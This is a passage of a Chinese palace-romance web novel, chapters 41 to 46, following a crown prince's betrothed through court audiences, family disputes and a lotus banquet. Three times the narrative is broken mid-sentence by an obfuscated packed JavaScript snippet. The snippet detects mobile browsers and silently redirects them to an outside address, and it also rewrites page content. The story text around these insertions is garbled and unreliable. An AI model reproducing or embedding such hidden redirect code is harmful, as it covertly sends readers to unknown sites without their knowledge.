明媚的阳光下,他抬头,笑着看她,笑容一如既往的温润。 继而,他朝着她伸出手:“云舒,来,孤扶你。” 第41章 孤来送你回府 洛云舒莞尔一笑,把手交到裴行渊手里。 做戏而已,自然要做全套。 裴行渊十指修长,掌心微微有些湿润,但触感并不黏腻,很舒服,也很妥帖。 这一刻,洛云舒放心不少。 至少她不厌烦这个人,做戏的时候也就不会太难熬。 洛云舒任由裴行渊牵着她的手,来到一乘步辇前。 “这里距离翊坤宫尚且有一段距离,你身上的冠服重,不如乘步辇前往。” 在宫里坐步辇,是帝后和四妃才能享受的尊崇。 可现在,裴行渊竟然让她乘步辇。 这似乎、有点太过了。 “殿下,这样是否合适?您若是这样做,御史台的人怕是不会放过您。” “那就让他们骂。”裴行渊笑着回应。 “好。”洛云舒笑着,坐上步辇。 裴行渊就在旁边跟着。 他身形高大,洛云舒坐在步辇上看他,不需要怎么低头。 裴行渊一直是笑着的。 仿若情窦初开的男子,终于娶到了他心爱的姑娘。 裴行渊很会装。洛云舒思忖道。 步辇在翊坤宫附近停下,裴行渊依旧来扶她。 洛云舒站好,任由灵雀和知意给她整理衣服。 整理已毕,洛云舒看向裴行渊,问道:“殿下,您看看可有不妥之处?” 她如此说,是虚心求教,也是向太子示弱。 在彼此试探的初期,示弱就等同于示好。 果然,裴行渊很受用,他勾了勾唇:“并无不妥之处,一切都很合适。” 洛云舒点头,心中安宁了些许。 宫廷礼仪是她的短板,上一世,她没机会接触这些。 这一世有了这样的造化,就应该勤勉学习。 来到翊坤宫外,苏公公立刻高呼:“太子殿下到!准太子妃娘娘到!” 呼啦啦,宫人跪了一地。 洛云舒下巴微抬,随裴行渊一起,步入翊坤宫。 当今陛下昭远帝和继后赵皇后端居主位。 裴行渊和洛云舒依次跪下,行礼。 “免礼。”昭远帝开口,中气十足,“洛氏云舒,抬起头来,让朕看看你。” 洛云舒起身,抬头,看向身居主位的昭远帝和赵皇后。 纵然有了心理准备,但直视圣颜的时候,她的心还是砰砰直跳。 旁边的那位赵皇后,虽然才十二岁,却也如传闻中那般,面容稚气,看起来却又老成。 只是,她到底是年幼了些,和陛下坐在一起,显得像父女。 洛云舒匆匆一瞥,很快就收回视线。 昭远帝很快便笑了:“果然姿容非凡,难怪渊儿一见倾心,巴巴地找过来,让朕快些赐婚。” “承蒙太子殿下错爱,臣女不胜惶恐。”说着,洛云舒恰到好处地低头。 昭远帝似乎是心情好,多说了几句:“渊儿既然看重你,你也无须妄自菲薄。你以后会是太子妃,得立起来,不可丢了皇家的脸面。” “臣女谨遵陛下教诲。” “行渊,你随朕到勤政殿去,朕有些事情交代你。云舒,你陪着你母后坐坐。” “是,陛下。” 昭远帝起身,很快离开。 裴行渊没有立刻跟上,在洛云舒身边低语道:“皇后重规矩。” 这是在提点她。 洛云舒点头:“臣女明白。” 裴行渊朝着赵皇后行了一礼,转身离开。 在裴行渊离开之后,赵皇后开口:“到本宫身边来。” “是,皇后娘娘。” 说着,洛云舒缓步前行,在赵皇后下首的位置坐下。 “你与渊儿六月初八成婚,距离现在只有一个多月的时间,略显仓促。你成婚之后,要入住东宫,兹事体大,本宫这边会抽调一位嬷嬷给你,教你好好学学宫里的规矩。” “是,皇后娘娘。”洛云舒起身,态度恭谨。 赵皇后年纪不大,办事却稳妥,很快就让人把一位上了年纪的嬷嬷带了过来。 这嬷嬷姓严,是宫里的教引嬷嬷。 她上前见礼,不卑不亢:“老奴见过准太子妃娘娘。” 她行礼时,低头、屈膝、身子微躬,一举一动都恰到好处。 见状,洛云舒就知道这位严嬷嬷是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429514|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个有真本事的。 洛云舒抬手:“嬷嬷不必多礼。日后还有劳嬷嬷教我规矩……” 洛云舒的话还没说完,就听赵皇后的声音不轻不重地响起:“洛氏云舒,虽未大婚,你不可自称本宫。但现在,面对严嬷嬷,也该自称本小姐。” “是,皇后娘娘。”洛云舒起身,低头应道。 果然,这位赵皇后虽然年轻,却如传闻中那般严苛,是个极重规矩的。 见洛云舒肯认错,赵皇后也没为难她,只沉声道:“坐下吧。” “是。”洛云舒坐下,态度依旧恭谨。 许是见她乖巧,赵皇后再开口的时候语气温和了许多:“你初次入宫,能做到现在这样已经很不错。但你是未来的太子妃,本宫对你的要求与他人不同。自今日起,你七日入宫一趟,本宫要看你的规矩学的如何。” “是,皇后娘娘。” “来人,将本宫给准太子妃准备的贺礼送上来。” 很快,一队宫女捧着朱红色的木质托盘,鱼贯而入。 为首的宫女上前,将一份礼单交到洛云舒手里:“准太子妃娘娘,这是礼单,请您过目。” 洛云舒接过,看得很认真。 寻常人送礼,送了也就送了,但这位赵皇后重规矩,大概是为了避免后续的麻烦,还专门做了一张礼单。 看过之后,洛云舒立刻起身道谢。 赵皇后摆摆手:“这是你该得的,不必多礼。若无事,你就先退下吧。后宫庶务繁多,本宫的时间很紧。” “是,皇后娘娘。” 洛云舒行礼退下,带着曹嬷嬷离开翊坤宫。 出了翊坤宫没多远,洛云舒就看到裴行渊等在那里。 洛云舒有点意外,紧走几步迎上去:“殿下。” 裴行渊温和地笑着:“孤来送你回府。” 他笑容和煦,仿佛看着深爱之人。 “有劳殿下了。” 从这里到宫门口,依旧是乘坐步辇。 到了宫门口,则改为乘坐马车。 洛云舒搭着裴行渊的手上了马车,却意外地发现,裴行渊也跟了上来。 洛云舒:?? 第42章 洛云舒,你调皮了 似乎是看出洛云舒的疑问,裴行渊坦然道:“方才孤已经说过,送你回府。” 洛云舒点点头,明白了。 裴行渊要立深爱她的人设,送她回府是必须的。 这时候,裴行渊又问:“平日里,你喜欢吃什么?” 既然深爱,自然要对所爱之人足够了解。 这个,洛云舒懂。 所以,她一一告知。 闲谈中,马车缓缓前行。 等裴行渊问得差不多了,洛云舒问起赵皇后:“皇后娘娘入宫的时候才十岁,臣女有点好奇,她刚入宫时是什么样子的。” 十岁的皇后,可以说是很罕有了。 “我母后去世后,后位空悬多年,多年来,立后的呼声很高,父皇一概不理。却在两年前,立了赵大儒的嫡次孙女为后。孤猜测,父皇此举,是为了彰显对赵家的看重。” 赵家是文臣世家,如今赵家的掌事人赵大儒当年参加科举的时候三元及第,文采斐然。 后来赵大儒又做了先皇的老师,著书立说,在读书人之中很有威望。 如今朝堂中的大半文官,和赵大儒都有师生之谊。 “赵皇后家学渊源,很有本事。”说着,洛云舒不由自主地坐直了身子。 十岁的皇后,初入宫的时候必定遭受了不少刁难,可她撑了过来,且将整个后宫治理得井井有条。 可见,赵皇后很有本事。 有本事的人,值得敬佩。 “你也不必太过担忧。母后虽然注重规矩,但只要你按照规矩来,她就不会刁难你。” 见裴行渊说的这般坦然,洛云舒忍不住问:“殿下唤皇后娘娘为母后的时候,心里是否会觉得别扭?” 毕竟,裴行渊今年十九岁,可赵皇后才十二岁。 “不会。她是皇后,孤理应唤她母后。”裴行渊笑着摇头,“洛云舒,你调皮了。” 洛云舒笑笑。 满足了自己奇怪的好奇心,她很开心。 说话间就到了洛府。 洛云舒在府门口下车,目送裴行渊远去。 她一进府,管家就满头大汗地迎了过来:“大小姐,您快去看看吧,老爷他、疯了!” “哦,怎么个疯法?” 当时,苏公公念完圣旨后,洛守礼晕了过去。 洛云舒原本还以为他只是受不得这个惊喜,没想到,他竟是疯了。 管家引着洛云舒,很快就到了书房外的廊子里。 只见洛守礼头发散乱,抱着一根柱子,嘿嘿直笑。眼神涣散,似乎没有焦点。 洛宝珠在一旁站着,已经急哭了。 看到洛云舒,洛宝珠立刻迎过来:“大姐,父亲疯了。你快想个法子啊!” 洛云舒瞥了她一眼,径直走到洛守礼面前,低头看他,声音略显严肃:“父亲,你可认得我?” 洛守礼抬头看她,眼神似乎有些茫然,但是片刻之后,他就笑了:“你是我大女儿。我大女儿要做太子妃了,她还会是未来的皇后。我要做国舅啦,哈哈哈……” 洛云舒冷着脸摇头:“父亲,您有所不知,方才我进宫的时候触怒了陛下。陛下已经下令,褫夺我的太子妃之位。我做不了太子妃,你也做不了国舅了。” “哈哈……呃……”洛守礼一口气没上来,又晕了。 洛云舒立刻吩咐:“把他送回房歇着。另外,找个大夫候着,随时给他把脉。” “是,大小姐。” 管家立刻行动,把洛守礼抬走了。 方才还乱糟糟的场面,随着洛云舒的到来,重新变得秩序井然。 洛宝珠脸上挂着泪,急切地问道:“你真做不了太子妃了?” “当然不是。” 洛宝珠这才放了心,挽着洛云舒的胳膊撒娇:“大姐姐,你最好啦!等你做了太子妃,务必要给我说一门显赫的亲事。” 洛云舒推掉她的手:“当初让我为霍少远殉节,你劝我**的事,你还记着吧?” 洛宝珠脸色懵懂:“大姐姐,如今你都要做太子妃了,还记着这件旧事做什么?你大人有大量,不会记恨我的,是不是?” “不,我这个人向来记仇。” 洛宝珠脸色一僵,语气有些哀怨:“你是太子妃,若我嫁的门第太低,你脸上也无光吧?” “不会。赐婚圣旨已下,我就是准太子妃,无须再顾忌什么。” 说完,不管洛宝珠是个什么脸色,洛云舒径直离开。 上位者,不需要看谁的脸色。 洛宝珠却追上来:“大姐姐,你说的是气话对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429515|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不对?” 洛云舒凉凉地瞥了她一眼。 洛宝珠被吓到,不敢再追,却在她身后大喊道:“姐姐,方才书院的人来过了,说哥哥没去读书。这你也不管吗?” 洛云舒笑着摇头。 是的,她不管了。 曾经,她管束他们,尽心尽力,说是呕心沥血也不为过。 她拿戒尺逼洛明辉看书,他看到多晚,她就熬到多晚。 她教洛宝珠学规矩,洛宝珠不愿意学,她就与洛宝珠一起,洛宝珠站多久,她就站多久。 一天下来,她腰酸腿疼,却还要点灯熬油看府里的账本,疲惫不堪。 可她一番辛苦,换来的是她这一对弟弟妹妹口口声声说为了家族荣耀,让她去殉节,让她**。 她无法原谅。 洛云舒很快回了芷荷院,她自己的院子,又吩咐人给严嬷嬷准备住处。 好在芷荷院大,多一个人也不显得拥挤。 安置完严嬷嬷,洛云舒把灵雀和知意叫到跟前:“如今的境况你们也看到了,大婚之后,你二人可愿同我一起到东宫去?” 入东宫,另有一番硬仗要打。 会很辛苦。 若是灵雀和知意萌生退意,她不会勉强。 说完,洛云舒又补充道:“若你们不愿入东宫,可以在外面管着我的生意。总之,我不会亏待你们。” 灵雀和知意双双跪下:“大小姐,奴婢愿追随您。” “宫里规矩多,不比在府里自在。你二人若决定随我一起入东宫,就要与我一起学规矩。” 以后,灵雀和知意会是她的身边人,不可行差就错,被人抓到把柄。 “大小姐,奴婢愿意学。” 看到二人表态,洛云舒含笑点头,心中也卸下了一块大石头。 灵雀和知意她用的很顺手,若是这二人不在身边,她也会不习惯。 幸好,她二人都愿意追随她。 洛云舒心中大安,心情也格外好。 换下太子妃冠服后,洛云舒换上寻常的衣服,靠在榻上小憩。 太子妃冠服沉重,这大半日,她很辛苦。 却在半睡半醒之间,听到有杂乱且急促的脚步声传来,洛云舒立刻睁开眼睛,起身走到窗口,向外看去。 第43章 为你,我做什么事情都愿意 是洛守礼。 这时候他已经穿戴一新,不见丝毫的疯态,正阔步而来。 洛云舒转身回去,刚在椅子里坐下,洛守礼就走了进来。 他显得很迫切:“去宫里,没出什么事吧?” “没有。”洛云舒摇摇头,“方才父亲的状态有所不妥,女儿这才出此下策,望父亲勿怪。” “不怪不怪。不过,你什么时候竟然入了太子殿下的眼,为父事先竟是一点儿都不知道?” 洛云舒看向洛守礼,眼神有些受伤:“父亲,前几日女儿便告诉过您,女儿结识了更尊贵的人。只是当时事情还没有办妥,故而女儿没有全盘告知。怎么,当时您竟是没信我的话?” “没有!为父是信了的。”洛守礼接连眨了好几下眼睛,拍着胸脯做保证。 洛云舒又看他一眼,状似无意地提起:“父亲,今日三殿下来,所为何事?” 洛守礼眼神闪烁:“没什么事,只是寻常的拜访而已。” 听罢,洛云舒叹了口气:“父亲,如今我已是准太子妃。不用我说您也知道,想嫁给太子殿下的世家贵女有多少。如今我有了这番造化,又即将在六月初八成婚,实在是不想出现什么纰漏。父亲这般遮遮掩掩,不肯告知于我,若是被别人做了文章,到时候这太子妃之位要是保不住,父亲就不要怪我了。” 瞬间,洛守礼额头上的冷汗就出来了。 他顾不上去擦,急忙道:“三殿下今日来,是亲自做媒,想让你嫁给霍少将军。可……” 说着,洛守礼欲言又止。 洛云舒并不说话,只是看着他,目光沉静。 终于,洛守礼似乎是下定了决心:“三殿下见为父不同意,中途支走霍少将军,说愿意许你侧妃之位。” 皇子侧妃,那也是有品级的。 洛云舒唇角微勾,带出一抹讽刺的笑:“区区侧妃之位,父亲就心动了?” “没、没有。”洛守礼急忙否认。 “没有就好。”洛云舒并不拆穿他,只微微一笑,“父亲,许是因为出身的原因,您的眼界太低了。但今时不同往日,以后这种短视的事情,就不要再做了。免得传出去,被人议论太子妃的娘家上不得台面,平白丢了太子的脸面。” “是是是。”洛守礼连声称是,不敢说一个不字。 “父亲,皇后娘娘赐了我一位严嬷嬷,教导我皇家礼仪。且皇后娘娘言明,每七日让我入宫一趟,以便考教我的规矩学得如何。这位严嬷嬷最重礼节,以后我这院子,父亲若是想来,须得提前找人通报一声,免得让严嬷嬷以为咱们洛府没规矩。” “自然。” “不仅仅是您。”洛云舒又道,“阖府上下,务必谨言慎行,别让人看了笑话。” “当然。为父这就去管束下人,让他们不得造次。” 说完,洛守礼匆匆而出。 看着他的背影,洛云舒弯了弯唇。 狐假虎威的感觉,还不错。 当然,她可以虚张声势,却不能没有真本事。 所以,跟着严嬷嬷学规矩的时候,洛云舒格外用心。 原本,最初进京的时候,她对京中的礼仪所知不多,母亲又教不了她,她也因此闹出笑话。 她是个不服输的性子,没日没夜地学规矩,如今,她将京中的那些个规矩烂熟于心,如今学起这皇家礼仪来,也就不怎么费事。 当然,皇家礼仪更加严苛,不容出错。 洛云舒用心学,灵雀和知意也没落下。 主仆三人不知疲倦,让严嬷嬷很是动容。 身为宫里的教引嬷嬷,严嬷嬷是最严苛的。 也正是因为如此,她被不少世家大族请去教导规矩。 可世家大族的小姐,虽然不乏刻苦学习的,可大多数都娇生惯养,还没学上一会儿就喊累。 但洛云舒不同,她一学就是几个时辰,且从不叫苦。 见她学得用心,严嬷嬷后面就适当降低了训练的时长。 转眼间,七天的时间过去,到了要入宫见赵皇后的日子。 这一日,洛云舒早早地起来梳妆打扮,随着严嬷嬷一起,入宫拜见赵皇后。 赵皇后特地等着,考教了一番之后,她很满意:“洛氏云舒,你的规矩学得很好,望你再接再厉。” “多谢皇后娘娘夸奖。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429516|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“本宫欣赏勤勉的人,你、很不错。” 赵皇后宫务繁多,并未多留洛云舒。 离开赵皇后的翊坤宫,洛云舒的心情格外好,只是没在脸上表露出来。 只是,离开翊坤宫没多远,洛云舒远远地看到了三皇子。 与此同时,三皇子也看到了她,目光不善。 但,他很快就挪开了视线,摆明了不喜的态度。 洛云舒原本是不愿意搭理的,但是看到霍少远就站在三皇子身后,她就走了过去,朝着三皇子点头示意:“三殿下。” 这下,三皇子不得不回礼。 可这个时候,他却发现洛云舒的视线落在他身后。 而此刻,洛云舒面露悲伤,一双翦水秋瞳似乎含了万千情绪,就这么越过三皇子,含情脉脉地看向他身后的霍少远。 霍少远则是皱眉:“洛云舒,你这般看着我做什么?” 洛云舒眸光痴缠,声音很低:“霍郎,为你,我做什么事情都愿意。” 说完,洛云舒转身就走,背影决绝而哀伤。 留下三皇子和霍少远面面相觑。 三皇子皱眉:“她刚才为何用那种眼神看你?” 霍少远亦是一头雾水:“殿下,微臣不知。” “不知?她那眼神分明是看情郎的眼神,你说你不知?” 霍少远立刻躬身行礼:“殿下,洛云舒向来诡计多端。她这样做,必定是为了挑拨微臣与您的关系。” “挑拨?”三皇子重复着这两个字,意味深长道,“她身边跟着教引嬷嬷,却冒险过来见你,不会是毫无缘故。” 说着,三皇子的眸光幽深了许多。 “殿下,微臣若有半句隐瞒,就让微臣……” “够了。”三皇子抬手,打断霍少远的话,“类似的话不必多说,本殿下自然是信你的。” 霍少远低头,诚惶诚恐。 三皇子也很快出宫,打发走霍少远之后,三皇子的脸上的怒色便不加掩饰。 心腹兼幕僚东方亮上前,殷勤询问:“殿下可是有烦心事?” “东方先生,你觉得,霍少远是否有可能背叛本殿下?” 第44章 我只希望你过得开心 东方亮皱了皱眉,谨慎开口:“殿下为何有此一问?” 三皇子便将宫里发生的事情和盘托出。 “殿下,仅仅根据洛大小姐的反应就推断霍少将军背叛您,未免太过草率。” “难道先生就不觉得,自从霍少远这次回京之后,事情就格外不顺利?假死之事,原本就隐秘至极,让霍少远藏匿的位置又如此隐蔽,为何偏偏就被洛云舒发现了?还有,后续的刺杀加上如今的事情,更是一件比一件不顺。联想到这些,本殿下不得不怀疑。” 听完三皇子的分析,东方亮也不由得倒吸一口凉气:“殿下,霍家是您的舅舅家,按理说,不该如此的。” “再亲厚的关系也比不上滔天的权力。许是本殿下那位好舅舅觉得跟着本殿下没前途,转而要去高攀裴行渊了。” “殿下,这不大可能。” “本殿下也希望这件事是假的。”话虽如此说,可三皇子的神色并未因此而变得轻松。 …… 另一边,回府之后,洛云舒心情愉悦。 哪怕在回芷荷院的路上迎面遇上洛明辉和洛宝珠,也丝毫没能影响她的心情。 看到洛云舒,二人小跑着上前,嘴一个比一个甜:“姐姐!” 洛宝珠上前挽住洛云舒的胳膊,格外亲昵:“姐姐,好几日没见你,我都想死你了。你居然拿下了太子殿下,真是了不起!” “是啊,姐姐。你即将与太子大婚的消息传出去之后,我书院的同窗都对我友好了许多。”洛明辉也笑着附和。 洛云舒看他一眼:“今日你不是应该在书院吗?” “我这不是想姐姐了嘛。”说着,洛明辉不由得有些怕。 按照以往的经验,接下来,他姐姐该苦口婆心地劝他回书院读书了。 那些车轱辘话,他的耳朵都快听出茧子来了。 然而这一次,洛云舒只笑着看向不远处的花丛,赞道:“今年这花,开得不错。” 洛明辉先是一愣,继而心中大喜。 姐姐不管束他的学业,这可真是太好了。 这倒也是,他有一个做太子妃的姐姐,还读什么书啊? 这么一想,洛明辉舒坦不少。 洛宝珠更是殷勤:“姐姐,听说丞相府大后天要办赏荷宴,你能不能带我去见见世面?” 洛云舒摇摇头,语重心长道:“宝珠,如今你管着府里上上下下的事情,不能贸然出去。不然,若是出了什么纰漏可就不好了。” “只出去大半日,不要紧的。我事先会安排好。”洛宝珠满目渴望。 洛云舒自然知道她为何这般急切。 洛宝珠拿了这管家权才不到十日,已经为自己置办了不少的衣裳和首饰。 这么多衣裳和首饰若是不穿戴出去让人看看,岂不是锦衣夜行,了然无趣? 可,洛云舒不会给她抛头露面的机会。 她不点头,洛宝珠就不敢去。 即便如此,洛宝珠甚至都不敢表露出不悦来。 回芷荷院后,洛云舒问知意是否有丞相府送来的帖子。 知意摇头:“回大小姐的话,没有。” 自从册封洛云舒为太子妃的圣旨下达之后,洛府就收到了不少的拜贴和宴会的请帖。 但,洛云舒要学规矩,都婉拒了。 不过,丞相府的宴会,她想去一下。 毕竟,今日那出戏只是前奏,接下来,她还要接着演,给三皇子的怀疑再添一把火呢。 丞相府的赏荷宴,是个好机会。 只是,丞相府竟然没有给她下帖子,倒是让她有些意外。莫非…… 洛云舒正这样想着,就听灵雀禀报道:“大小姐,阮大小姐亲自来了,说是给您送拜贴。” 洛云舒笑笑,她猜对了。 她和阮清辞在花厅见面。 一见面,阮清辞就紧走几步,上前见礼,语气里带着夸张的谄媚:“臣女阮清辞,见过准太子妃。” 洛云舒瞥她一眼:“只是道万福,不行跪拜礼吗?” 阮清辞抬头,哀怨地看她一眼,显得可怜巴巴的:“跪了,膝盖会疼。” 洛云舒没忍住,笑了,瞪她一眼:“见面就见面,作什么妖?” 阮清辞坐下,捧着脸看洛云舒:“洛大师,您是怎么拿下太子殿下的,细说,我爱听。” 洛云舒故作高深:“可能是缘分到了吧。” 阮清辞嗔她一眼:“跟你说一件好笑的事。我母亲向来眼高于顶你是知道的,你救了我,她是想让我哥娶你的,又有点下不了决心。等她终于下定决心去找了媒人,还没等媒人上门呢,赐婚的圣旨就下来了,吓得我母亲亲自去找了那媒人,还给了她一大笔封口费,让她千万不要出去乱说。” “你母亲拼命遮掩,你倒是竹筒倒豆子,把她给卖了。” 阮清辞笑着吐吐舌头,把手里的拜贴送上:“后日我家办赏荷宴,你想来就来,不想来就拉倒。” 话虽如此说,她觉得洛云舒不大可能会去。 毕竟,最近这段时间,京城里不少世家都给洛云舒送帖子,但洛云舒一个都没见,也没赴任何一家的宴会。 所以,她觉得他们阮家也不会例外。 谁知,洛云舒却是笑着点了点头:“要去的。我有件事要办。” “啊?”阮清辞惊了,猛地上前拉住洛云舒的胳膊,“确定要在我家的宴会上办事?” “是。” “你在宴会上要杀人放火都好说,唯独那荷塘里的重瓣荷花千万给我留着。” 阮清辞爱荷,这件事很多人都知道。 洛云舒笑笑:“放心,不会动你的宝贝荷花,甚至不会动你阮府的一草一木。” “没事,您开心就好。”浮夸地恭维完之后,阮清辞微微红了眼睛,“云舒,旁人见你一步登天,我只盼你开心。” 从前,她觉得洛云舒太装,心眼太多。 可这段时间经历的事情让她明白,唯有独自支撑,没有依靠的人才会这样。 “放心,会的。”洛云舒握住阮清辞的手,满目感激。 她现在已经拥有了财富,等她替太子处理好内宅这些事,助他一路登基之后,她会拥有权力和自由,去做任何她想做的事。 而她现在所做的每一件事都是为了以后,所以,她每一天都过得很开心。 …… 日子过得飞快,一眨眼,就到了阮家举行赏荷宴这一日…… 第45章 好端端的,发什么疯? 赴宴时,洛云舒穿着一袭淡紫色流云纱长裙,梳着随云髻,发间簪着珍珠所制的珠钗,点睛之处则是一支珍珠步摇,尽显温婉。 她这样装扮,是她一贯的作风,也是为了配合裴行渊温润如玉的形象。 当然,如今她已是准太子妃,与以往不同的是,她的衣物和发饰皆是用的最好的,不至于被人看轻。 洛云舒一露面,就有不少人朝她看过来。 走在她身侧的阮清辞轻笑道:“云舒,你今日很不一样。” 洛云舒轻笑不语。 很快,阮清辞带着她来到座位上坐下。 这会儿虽然宴会还没有正式开始,但已经来了不少人。 洛云舒刚坐下,就有不少人来问好。 她一一应对,并未对任何人冷脸,举手投足尽显温婉。 这时候,眼角的余光里,洛云舒瞧见霍夫人和霍娇娇走了进来。 她并未起身。 直到霍夫人走到她的面前,洛云舒才起身,温和一笑:“义母,您来了。” 霍夫人笑笑:“云舒,你今日这身装扮真好看。” “多谢义母夸奖。”说着,洛云舒的视线落在霍夫人身后的霍娇娇身上,“娇娇妹妹这身衣服也不错。” 说也巧了,今日霍娇娇穿的,也是一身淡紫色长裙,只是料子不一样,她头上的发饰也不如洛云舒的精美。 瞬间,霍娇娇脸色一沉。 她的肤色本来就不算白,这下变了脸色,显得更黑了。 今日,洛云舒是焦点人物,她说的话,不少人也听到了。 瞬间,落在霍娇娇身上的目光多了不少。 再加上洛云舒和霍娇娇离得很近,周围的人少不得拿她和洛云舒进行比较。 这一比较,高下立现。 霍娇娇受不住,也不管霍夫人走不走,她自己径直走了。 “娇娇!”霍夫人叫了一声没叫住,但转过脸来看向洛云舒的时候,神色依旧镇定,“来的时候娇娇便说不舒服,她又孝顺,非得陪着我过来。这会儿只怕是又不舒服了。” “义母,那您快点过去照看着。”说完,洛云舒又看向阮清辞,“清辞,娇娇妹妹不舒服,劳烦你吩咐府医来给她看看。” “那是自然的。”很快,阮清辞就吩咐了下去。 霍夫人客气一笑,告辞离开。 找到霍娇娇后,霍夫人瞪了她一眼:“好好的,闹什么脾气!” “母亲,洛云舒就是故意的!她欺辱我!” “胡说什么?她什么都没做。” “她的衣服比我好,首饰也比我的华贵,我与她站在一处,就会有人拿我同她比。可她洛云舒一个侍郎之女,凭什么跟我比?” 霍夫人看了看左右,把霍娇娇拉到角落里,斥道:“好端端的,发什么疯?她的出身就算是再低,如今也是准太子妃。甭管你心里怎么想,在她面前都不可表露出丝毫的不快。” 霍娇娇抓着霍夫人的手腕:“母亲,您就真的甘心吗?从前,洛云舒处处要看你脸色行事。可刚才,看到你进来,她压根儿就没有站起来迎接,直到你过去她才起身,这分明是没把你放在眼里。” “她是准太子妃,本就不必出来迎接我。”说到最后,霍夫人的声音已经很低。 “母亲,你心里也有气,是不是?” 霍夫人看了她一眼:“这里是丞相府的宴会,你休要多说。” 霍娇娇凑近,低语道:“母亲,我有法子,能让洛云舒做不成这个太子妃。” “不准胡来。” “母亲放心,我有分寸。”说完,不等霍夫人说什么,霍娇娇径直跑开了。 霍夫人叫过窦嬷嬷:“跟着小姐,看看她要做什么。适当的时候,要给小姐提供帮助。” 窦嬷嬷心领神会,立刻跟了上去。 霍夫人站在原地,神色微冷。 是啊,看着原本在她面前唯唯诺诺的人登上高位,叫她怎么受得住呢? 既然受不住,把这身在高位的人拉下来不就行了? …… 所谓赏荷宴,自然是以赏荷为主题。 今日宴会的场地就设在荷塘边儿的凉亭里。 阮府阔绰,沿着这荷塘一圈修了廊子,且,每隔十步远就修了一座凉亭,参加宴会的人分坐在不同的凉亭里,既不耽误交流,又有彼此的空间,很合适。 凉亭里还放了冰鉴,清凉宜人。 洛云舒和阮夫人、阮清辞同坐在一个凉亭里。 旁边的凉亭里,则坐着霍夫人母女和户部尚书府的赵夫人母女。 洛云舒扫了一眼,视线落在桌子上的荷花酥上。 这荷花酥做的惟妙惟肖,宛若一朵真的荷花。 洛云舒一看就很喜欢。 不过,酥制的糕点吃的时候容易掉渣,洛云舒没打算吃,只端起一杯荷花茶,细细品味着。 见洛云舒不吃,阮清辞缩回准备去拿荷花酥的手,也端起一杯茶,学着洛云舒的样子,细细品味着。 阮夫人在一旁看着,很满意。 她看向洛云舒,满目感激:“云舒,自打跟你熟悉之后,清辞是愈发规矩了。” “阮夫人,您客气了。清辞向来懂礼数,从没出过差错。” 阮夫人直摇头:“都是假象。每次带她出去参加宴会,我这心都是提着的,生怕她出纰漏。” 知女莫若母。 阮清辞私底下是个什么德行,阮夫人是最清楚的。 “母亲,你议论我,如今都不背着我了?” “闭嘴!喝茶,少说话。”阮夫人瞪她一眼,恨铁不成钢。 洛云舒恍然大悟:“怪不得清辞之前参加宴会很少说话,原来原因在这儿呢。” “她不说话的时候还能装一装,话多的时候,容易露馅。”阮夫人无情吐槽。 阮清辞翻了个白眼,不是很想说话。 洛云舒则是微微一笑,继续喝茶。 当然,只是细细品味,不是牛饮。 毕竟,宴席中途去茅厕,不雅。 用了些点心之后,便要开始赏荷。 阮夫人率先起身,引着各家的夫人小姐开始沿着廊子走动,欣赏这千姿百态的荷花。 当然,若是不想跟着阮夫人,也可自行结伴。 洛云舒就和阮清辞同行,中途,海云澜也加入进来。 自从上次一别,洛云舒还未见过海云澜。 这次一见面,海云澜就很兴奋:“告诉你们一个好消息,我要成亲了!” 第46章 否则,他绝不会纳妾 阮清辞和海云澜不熟,却也知道之前洛云舒要殉节的时候,海云澜帮了不少忙。 基于此,阮清辞也笑着说道:“恭喜海大小姐了。” 海云澜笑得爽朗:“多谢!” 洛云舒却有些纳闷儿。 以前,为了和各府交际,结识的这些人家谁和谁有了婚约,洛云舒是最清楚的。 可据她所知,之前并未传出海云澜和谁有婚约。 海云澜却直接说她要成亲了,有点奇怪。 “是哪家的公子?”洛云舒问。 海云澜脸上笑意不减:“是我父亲同窗家的儿子,姓方,去年中的同进士。原先没官职给他,前阵子刚好户部那边有了缺,让他去易水县做县令。” 易水县距离京城三百余里,有些远。 “已经定了婚约?” “是。半个月走了定亲的流程,婚期也定了,选在七月。” “怎么这么仓促?”洛云舒不解。 “是有些仓促了。不过他八月初赴任,婚期定在七月是为了方便。早晚都要嫁,就不拘着这些规矩了。反正我的嫁妆都是早就准备好的。” 原来如此。 洛云舒放心不少,这就有了闲心,问道:“那你中意他吗?” 海云澜依旧笑着:“那位方公子是我父亲看着长大的,都是知根知底的。我父亲说,我这性子若是嫁进高门大户,是要被磋磨死的。倒不如选这种小门小户的,进门就做主母,不用看谁的脸色。而且方公子早年丧母,我进去之后不用侍奉婆母。” 她不说中意,只说很合适。 阮清辞插嘴:“如果不能两情相悦,怎么在一起过那么多年?” 